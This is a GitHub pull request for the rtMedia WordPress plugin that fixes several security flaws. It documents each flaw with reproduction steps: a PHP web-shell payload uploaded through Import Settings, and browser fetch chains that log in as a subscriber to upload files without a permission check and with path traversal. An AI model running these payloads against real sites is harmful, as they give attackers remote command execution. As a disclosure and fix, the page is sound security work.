Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix multiple security issues. #2008

Merged
merged 4 commits into from
Nov 16, 2023
Merged

Conversation

Utsav-Ladani
Copy link
Collaborator

@Utsav-Ladani Utsav-Ladani commented Nov 9, 2023

Fix multiple security issues

Admin can place and execute any file via the Import Settings option. 🟧

Description

  • Admin can send any file to the server anywhere.
  • This way, the Admin can change the codebase by sending a few requests.
  • These file is also executable by visiting a particular URL.

Steps to reproduce

  • Login as an Admin.
  • Create any bellow content to file and save with the extension .json.
     <?php file_put_contents(WP_CONTENT_DIR . '/shell.php', '<?php echo system($_GET["cmd"]);');
  • Upload it from Import Settings from rtMedia > Settings > Import/Export section.
  • Visit https:/whatever.your.url/wp-content/shell.php?cmd=ls.
  • This runs any command passed into the URL cmd param.

Fixes

  • Existing code prints the file into the current PHP script execution using the ob_start() function. Which executes the content in the file, no matter the extension.
  • This PR removes and uses the json_decode and file_get_content functions to load the JSON data securely.

Anyone can upload a file, even a subscriber. 🟧

Description

  • Anyone can upload media using rtmedia_api.
  • There is a missing permission check.

Steps to reproduce

  • Create a user with the name sub and password sub.
  • Use the below code in your browser's console.
     fetch("http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api", {
      "headers": {
      "content-type": "application/x-www-form-urlencoded",
      },
      "body": "method=wp_login&username=sub&password=sub",
      "method": "POST",
     }).then((response) => {
      return response.json();
     }).then((data) => {
      const formData = new FormData()
       
      let file = new File(['iVBORw0KGgoAAAANSUhEUgAA'], 'image.jpg');
       
      formData.append('rtmedia_file', file);
      formData.append('method', 'rtmedia_upload_media');
      formData.append('image_type', 'jpeg');
      formData.append('title', 'abc');
      formData.append('token', data.data.access_token);
     
      return fetch('http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api', {
      method: 'POST',
      body: formData
      });
     })
       .then(res => res.json())
       .then(data => {console.log(data);})
  • You can see that there is no restriction. Your request is successfully served.
  • Don't forget to replace the URL with your server.

Any user can upload any file and place it anywhere 🟥

  • Using the same above bug, the user can put some malicious file in some place and call it using a server.

Steps to reproduce

  • Create a user with any type of role.
  • Execute the below code in the browser's console.
     fetch("http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api", {
      "headers": {
      "content-type": "application/x-www-form-urlencoded",
      },
      "body": "method=wp_login&username=sub&password=sub",
      "method": "POST",
     }).then((response) => {
      return response.json();
     }).then((data) => {
      const formData = new FormData()
      let file= btoa('<?php system("ps"); ?>');
       
      formData.append('rtmedia_file', file);
      formData.append('method', 'rtmedia_upload_media');
      formData.append('image_type', '../Users/utsav/Desktop');
      formData.append('title', '../');
      formData.append('token', data.data.access_token);
     
      return fetch('http://rtmedia-core.local/wp-admin/admin-ajax.php?action=rtmedia_api', {
      method: 'POST',
      body: formData
      });
     })
       .then(res => res.json())
       .then(data => {console.log(data);})
  • Change the code if required as per your environment.

Fixes

  • Verify the actual file data using PHP built-in function getimagesizefromstring.
  • Compare the given and actual image types and if both are the same and present in the allowed image type, then only allowed.

Change the way file is processed and saved.
use current_user_can function so that only granted user can uploda the file.
Verify actual image type from binary data before processing.
@Utsav-Ladani Utsav-Ladani changed the base branch from pre-release to develop November 15, 2023 05:40
@Utsav-Ladani Utsav-Ladani marked this pull request as draft November 15, 2023 05:41
@Utsav-Ladani Utsav-Ladani changed the base branch from develop to pre-release November 15, 2023 06:51
@Utsav-Ladani Utsav-Ladani marked this pull request as ready for review November 15, 2023 06:58
@pavanpatil1
Copy link
Contributor

Admin can place and execute any file via the Import Settings option

Verified the fix and it is working fine. The commands are not executing now.

image


Any user can upload any file and place it anywhere

Verified the fix and it is working fine. The API is showing the permission denied message now.

image

@pavanpatil1 pavanpatil1 merged commit 046bb17 into pre-release Nov 16, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants